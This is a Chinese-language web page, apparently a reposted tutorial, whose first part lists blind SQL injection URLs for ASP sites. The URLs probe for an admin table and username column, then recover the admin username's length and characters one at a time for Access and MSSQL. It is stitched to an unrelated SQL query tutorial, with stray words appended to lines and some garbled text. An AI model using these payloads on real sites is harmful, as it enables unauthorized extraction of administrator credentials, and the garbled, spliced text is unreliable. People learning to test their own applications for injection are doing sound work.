手工檢測SQL注入(安全性測試)

手動你的ASP站能否注入:數據庫

  http://127.0.0.1/xx?id=11 and 1=1 (正常頁面)函數

  http://127.0.0.1/xx?id=11 and 1=2 (出錯頁面)spa

  檢測表段的code

  http://127.0.0.1/xx?id=11 and exists (select * from admin)對象

  檢測字段的排序

  http://127.0.0.1/xx?id=11 and exists (select username from admin)unicode

  檢測ID字符串

  http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)get

  檢測長度的字符串處理

  http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

  檢測長度的

  http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

  檢測是否爲MSSQL數據庫

  http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)

  檢測是否爲英文

  (ACCESS數據庫)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

  (MSSQL數據庫)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)

  檢測英文的範圍

  (ACCESS數據庫)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

  (MSSQL數據庫)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

  檢測那個字符

  (ACCESS數據庫)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

  (MSSQL數據庫)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

  經常使用函數

  Access:asc(字符) SQLServer:unicode(字符)

  做用:返回某字符的ASCII碼

  Access:chr(數字) SQLServer:nchar(數字)

  做用:與asc相反,根據ASCII碼返回字符

  Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

  做用:返回字符串從N個字符起長度爲L的子字符串,即N到N+L之間的字符串

  Access:abc(數字) SQLServer:abc (數字)

  做用:返回數字的絕對值(在猜解漢字的時候會用到)

  Access:A between B And C SQLServer:A between B And C

  做用:判斷A是否界於B與C之間

  and exists(Select top 1 * From 用戶 order by id)

  1.在查詢結果中顯示列名:

  a.用as關鍵字:select name as ’姓名’ from students order by age

  b.直接表示:select name ’姓名’ from students order by age

  2.精確查找:

  a.用in限定範圍:select * from students where native in (’湖南’, ’四川’)

  b.between...and:select * from students where age between 20 and 30

  c.「=」:select * from students where name = ’李山’

  d.like:select * from students where name like ’李%’ (注意查詢條件中有「%」,則說明是部分匹配,並且還有前後信息在裏面,即查找以「李」開頭的匹配項。因此若查詢有「李」的全部對象,應該命令:’%李%’;如果第二個字爲李,則應爲’_李%’或’_李’或’_李_’。)

  e.[]匹配檢查符:select * from courses where cno like ’[AC]%’ (表示或的關係,與"in(...)"相似,並且"[]"能夠表示範圍,如:select * from courses where cno like ’[A-C]%’)

  3.對於時間類型變量的處理

  a.smalldatetime:直接按照字符串處理的方式進行處理,例如:select * from students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’

  4.集函數

  a.count()求和,如:select count(*) from students (求學生總人數)

  b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’

  c.max(列)和min(列),求最大與最小

  5.分組group

  經常使用於統計時,如分組查總數:select gender,count(sno) from students group by gender(查看男女學生各有多少)

  注意:從哪一種角度分組就從哪列"group by"

  對於多重分組,只需將分組規則羅列。好比查詢各屆各專業的男女同窗人數 ,那麼分組規則有:屆別(grade)、專業(mno)和

  性別(gender),因此有"group by grade, mno, gender"

  select grade, mno, gender, count(*) from students group by grade, mno, gender

  一般group還和having聯用,好比查詢1門課以上不及格的學生,則按學號(sno)分類有:

  select sno,count(*) from grades where mark<60 group by sno having count(*)>1

  6.UNION聯合

  合併查詢結果,如:

  SELECT * FROM students WHERE name like ‘張%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’

  7.多表查詢

  a.內鏈接

  select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno

  (注意能夠引用別名)

  b.外鏈接

  b1.左鏈接

  select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno

  左鏈接特色:顯示所有左邊表中的全部項目,即便其中有些項中的數據未填寫徹底。

  左外鏈接返回那些存在於左表而右表中卻沒有的行,再加上內鏈接的行。

  b2.右鏈接

  與左鏈接相似

  b3.全鏈接

  select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno

  兩邊表中的內容所有顯示

  c.自身鏈接

  select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno

  採用別名解決問題。

  d.交*鏈接

  select lastname+firstname from lastname CROSS JOIN firstanme

  至關於作笛卡兒積

  8.嵌套查詢

  a.用關鍵字IN,如查詢豬豬山的同鄉:

  select * from students where native in (select native from students where name=’豬豬’)

  b.使用關鍵字EXIST,好比,下面兩句是等價的:

  select * from students where sno in (select sno from grades where cno=’B2’)

  select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

  9.關於排序order

  a.對於排序order,有兩種方法:asc升序和desc降序

  b.對於排序order,能夠按照查詢條件中的某項排列,並且這項可用數字表示,如:

  select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3

  10.其餘

  a.對於有空格的識別名稱,應該用"[]"括住。

  b.對於某列中沒有數據的特定查詢能夠用null判斷,如select sno,courseno from grades where mark IS NULL

  c.注意區分在嵌套查詢中使用的any與all的區別,any至關於邏輯運算「||」而all則至關於邏輯運算「&&」

  d.注意在作否認意義的查詢是當心進入陷阱:

  如,沒有選修‘B2’課程的學生 :

  select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’

  上面的查詢方式是錯誤的,正確方式見下方:

  select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

  11.關於有難度多重嵌套查詢的解決思想:如,選修了全睝@緯痰難 ?br>select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))

  最外一重:從學生表中選,排除那些有課沒選的。用not exist。因爲討論對象是課程,因此第二重查詢從course表中找,排除那些選了課的便可

相關文章
相關標籤/搜索